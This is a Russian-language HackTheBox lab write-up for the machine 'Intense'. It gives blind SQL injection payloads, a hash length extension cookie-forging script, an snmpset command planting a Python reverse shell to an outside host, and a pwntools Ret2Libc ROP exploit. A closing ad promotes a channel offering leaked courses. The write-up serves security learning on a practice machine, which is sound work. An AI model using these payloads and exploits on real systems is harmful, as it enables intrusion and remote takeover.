Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получаем секрет Flask с помощью SQL инъекции, проводим криптоатаку удлинения сообщения, получаем RCE с помощью SNMP, и эксплуатируем уязвимость переполнения буфера в приложении с помощью Ret2Libc атаки.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.195, который я добавляю в /etc/hosts.

10.10.10.195 	intence.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



nmap -sU intence.htb



Имеем только SNMP, веб-сервер и службу SSH, поэтому смотрим сайт. Нам говорят, что мы можем авторизоваться как гость, а также предоставляют исходные коды.



Давайте авторизуемся, чтобы иметь представление о структуре сайта.



Так, мы можем что-то отправлять, давайте перейдем к странице Submit.



Тестировать ничего не будем, так как у нас имеются исходные коды. Скачиваем и поочередно просматриваем. Из файла admin.py видим возможности администратора — просматривать директории и читать файлы. Также понимаем, что используется flask.



Из файла app.py следует, что при запросе Submit используется база данных, а пользовательские данные не фильтруются.



Еще отмечаем способ создания cookie.



Перейдем к файлу lwt.py, в котором и происходит работа с сессиями. Отмечаем длину секрета и структуру cookie.





И в последнем файле видим сам запрос в базу данных и принцип проверки привилегий пользователя.



Все ясно, давайте посмотрим cookie.



Мы можем легко декодировать данную строку с помощью flask-session-cookie-manager.



Но нам нужен секрет админа.

SQL инъекция


Попробуем получить его с помощью SQL инъекции в Submit. Таким образом, мы имеем следующий INSERT запрос:

INSERT INTO messages VALUES ('%s')

Поэтому наш запрос должен быть выполнен в следующей конструкции:

' AND ( SELECT ... ) ) -- -

Тогда полный запрос в базу данных будет таким:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')

Если без комментариев, то такой:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) )

В самом запросе будет использовать конструкцию:

SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END

Тогда если запрос может быть выполнен, то мы получим ответ 'OK', а иначе ошибку 'unable to use function MATCH in the requested context'.

Мы можем посимвольно узнать секрет, хранящийся в таблице users. Тем более, что мы уже знаем секрет гостевого пользователя (role = 0). Учитываем, что используется SQLite база данных, давайте узнаем длину секрета( так как мы ее знаем, определим реакцию на верный и неверный запрос) с помощью следующей вставки в запрос (вместо XXX наше число):

' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -



Теперь давайте проверим посимвольное извлечение секрета. Здесь поможет следующая конструкция(NUM — это порядковый номер символа, а XXX — сам символ).

' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -



Таким образом, все предположения подтвердились. То есть мы можем узнать секрет пользователя с role=1. Его длина (так как это хеш) равна 64.



Перейдем в Intruder и выставим следующие настройки.







И запустим атаку. Через несколько секунд получим результат о выполнении. Установим фильтр, который исключит все ответы, где присутствует “MATCH”. И увидим 64 строки. Сортируем их по payload1 (позиция символа).



Выделим все строки и сохраним в файл только payload2.



И смотрим наш секрет.



HLE атака


Мы не можем просто взять и подставить данный секрет в cookie. Но можем выполнить атаку HLE.

Выполнить атаку можно с помощью следующего кода, использующего библиотеку hashpumpy.

import hashpumpy
import binascii
import requests
from base64 import *

url = "http://intence.htb/admin"
new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="

data_cookie = b64decode(old_cookie.split('.')[0])
sign_cookie = b64decode(old_cookie.split('.')[1])

for offset in range(1,64):
    print("Find offset: " + str(offset), end='\r')
    (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)
    new_cookie = b64encode(new_data) + b"." +  b64encode(binascii.unhexlify(new_sign))
    r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})
    if r.status_code == 200:
        print("Offset found: " + str(offset))
        print("Admin cookie: " + new_cookie.decode('utf-8'))
        break



И получаем куки админа, вставим их на сайте.



Отлично, у нас повышенные привилегии.

USER


Давайте проверим, можем ли мы читать файлы и просматривать директории.





Отлично. Из файла /etc/passwd отметим для себя пользователя user и SNMP.



И забираем первый флаг.



SNMP to Reverse shell


Давайте посмотрим файл конфигураций SNMP. Из него мы получаем пароль, который позволит нам создавать записи (rwcommunity).



Давайте создадим запись, содержащую реверс шелл на питоне. Для этого нам нужно заполнить следующие поля:

nsExtendStatus."command"
nsExtendCommand."R4command"
nsExtendArgs."R4command"

Установим snmp-mibs-downloader.

apt install snmp-mibs-downloader

И теперь создадим запись.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'



Для выполнения нам нужно знать OID объекта. Есть очень хороший сайт, который может в этом помочь.



Так OID объекта — 1.3.6.1.4.1.8072.1.3.2. Выполняем команду и получаем бэкконнект.

snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2





ROOT


Получим нормальный bash и посмотрим домашнюю директорию пользователя.



Находим исполняемый файл и исходный код. С помощью netcat копируем файлы на локальную машину для анализа.



Из исходного кода программы узнаем, что она прослушивает 5001 порт.



Давайте проверим.





Таким образом мы нашли вектор LPE. Данная программа прослушивает локальный порт 5001 и работает от имени root. Пользователь SNMP не имеет интерактивной оболочки (было отмечено в /etc/passwd) но мы можем туннелировать порт при помощи SSH. Давайте сгенерируем ключ и запишем в authorized_keys на удаленной машине.





А теперь пробрасываем порт.

ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb



Отлично. Приступаем к анализу программы.

Атака Ret2Libc


Узнаем, какую библиотеку использует программа с помощью GDB, а потом скопируем ее способом, которым мы пользовались ранее.



И не забываем проверим используемую защиту.



Таким образом образом у нас есть и рандомная адресация, канарейка и неисполняемый стек. Для начала напишем шаблон эксплоита.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 5001
context(os='linux', arch='amd64')
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
r = remote(HOST, PORT)

r.interactive()



Разберемся с функционалом приложения. Из исходного кода становится ясно, что мы можем создавать, копировать и читать заметки.

Давайте реализуем данные функции. При записи, мы должны прислать 1 байт = 0x01, и после чего 1 байт — размер сообщения и само сообщение.



def W(s):
    r.send(p8(1))
    r.send(p8(len(s)))
    r.send(s)

Копирование требует 0x02, два байта — смещение и один байт размер.



def CPY(offset, size):
    r.send(p8(2))
    r.send(p16(offset))
    r.send(p8(size))

И для чтения только байт 0x03.



def R(size):
    r.send(p8(3))
    return r.recv(size)

А размер буфера равен 1024.



Мы можем переполнить буфер, но нам нужно знать значение канарейки и регистров RBP и RIP. Их мы можем узнать благодаря функции CPY, узнав данные по смещению 1024. Но их сперва нужно занять. Так как мы можем записать только 255 байтов за один раз, то нам нужно 4 раза записать по 255 символов и пятый раз дополнить 4 байта. А потом уже прочитать 1056 байт и отделить 32 байт после нашего буфера.

[  W("A"*255) for _ in range(4) ]
W("A"*4)
CPY(1024, 32)
post_buf = R(1056)[1024:]
_CANARY = u64(post_buf[8:16])
_RBP = u64(post_buf[16:24])
_RIP = u64(post_buf[24:32])
print("CANARY: " + hex(_CANARY))
print("RBP: " + hex(_RBP))
print("RIP: " + hex(_RIP))



Зная RIP и зная относительный адрес выхода из функции, мы можем вычислить адрес, по которому загружена программа.



binary.address = _RIP - 0xf54

И воспользуемся классом ROP, чтобы получить адрес функции write (про ROP уже досконально разбирали).

rop_binary = ROP(binary)
rop_binary.write(4, binary.got['write'])
r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*187)
CPY(0, len(payload))
R(1024 + len(payload))
libc_write = u64(r.recv(8))
print("Leak: " + hex(libc_write))



И вычислим адрес, по которому загружена LIBC.

libc.address = libc_write -libc.symbols['write']
print("LIBC address: "+ hex(libc.address))



Похоже на правду. А теперь получим шелл, используя тот же класс ROP. Как это обычно бывает, перенаправим потоки ввода/вывода, вызываем /bin/sh и перезаписываем функцию write.

libc_rop = ROP(libc)
libc_rop.dup2(4, 0)
libc_rop.dup2(4, 1)
libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)

r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*107)
CPY(0, len(payload))
R(1024 + len(payload))

Полный код, как всегда, привожу картинкой.





И мы с полными правами.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.